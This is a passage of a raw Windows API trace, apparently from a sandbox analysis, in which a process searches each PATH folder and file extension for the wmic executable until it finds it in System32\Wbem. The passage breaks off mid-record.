files\\oracle\\java\\javapath\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbs" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.vbe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.js" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.jse" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsf" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.wsh" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.msc" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.874] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.com" (normalized: "c:\\windows\\system32\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.875] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.com" (normalized: "c:\\windows\\system32\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.exe" (normalized: "c:\\windows\\system32\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.875] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.exe" (normalized: "c:\\windows\\system32\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.bat" (normalized: "c:\\windows\\system32\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.875] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.bat" (normalized: "c:\\windows\\system32\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.cmd" (normalized: "c:\\windows\\system32\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.876] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.cmd" (normalized: "c:\\windows\\system32\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.vbs" (normalized: "c:\\windows\\system32\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.876] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.vbs" (normalized: "c:\\windows\\system32\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.vbe" (normalized: "c:\\windows\\system32\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.876] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.vbe" (normalized: "c:\\windows\\system32\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.js" (normalized: "c:\\windows\\system32\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.876] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.js" (normalized: "c:\\windows\\system32\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.877] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.jse" (normalized: "c:\\windows\\system32\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.877] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.jse" (normalized: "c:\\windows\\system32\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.877] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.wsf" (normalized: "c:\\windows\\system32\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.877] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.wsf" (normalized: "c:\\windows\\system32\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.877] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.wsh" (normalized: "c:\\windows\\system32\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.877] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.wsh" (normalized: "c:\\windows\\system32\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.877] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wmic.msc" (normalized: "c:\\windows\\system32\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.878] CreateFileW (lpFileName="C:\\Windows\\system32\\wmic.msc" (normalized: "c:\\windows\\system32\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.com" (normalized: "c:\\windows\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.878] CreateFileW (lpFileName="C:\\Windows\\wmic.com" (normalized: "c:\\windows\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.exe" (normalized: "c:\\windows\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.878] CreateFileW (lpFileName="C:\\Windows\\wmic.exe" (normalized: "c:\\windows\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.bat" (normalized: "c:\\windows\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.879] CreateFileW (lpFileName="C:\\Windows\\wmic.bat" (normalized: "c:\\windows\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.cmd" (normalized: "c:\\windows\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.879] CreateFileW (lpFileName="C:\\Windows\\wmic.cmd" (normalized: "c:\\windows\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.879] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.vbs" (normalized: "c:\\windows\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.879] CreateFileW (lpFileName="C:\\Windows\\wmic.vbs" (normalized: "c:\\windows\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.vbe" (normalized: "c:\\windows\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.880] CreateFileW (lpFileName="C:\\Windows\\wmic.vbe" (normalized: "c:\\windows\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.js" (normalized: "c:\\windows\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.880] CreateFileW (lpFileName="C:\\Windows\\wmic.js" (normalized: "c:\\windows\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.jse" (normalized: "c:\\windows\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.880] CreateFileW (lpFileName="C:\\Windows\\wmic.jse" (normalized: "c:\\windows\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.881] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.wsf" (normalized: "c:\\windows\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.881] CreateFileW (lpFileName="C:\\Windows\\wmic.wsf" (normalized: "c:\\windows\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.881] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.wsh" (normalized: "c:\\windows\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.881] CreateFileW (lpFileName="C:\\Windows\\wmic.wsh" (normalized: "c:\\windows\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.881] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.msc" (normalized: "c:\\windows\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.881] CreateFileW (lpFileName="C:\\Windows\\wmic.msc" (normalized: "c:\\windows\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.882] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.com" (normalized: "c:\\windows\\system32\\wbem\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.882] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\wmic.com" (normalized: "c:\\windows\\system32\\wbem\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.882] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5694022d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x5694022d, 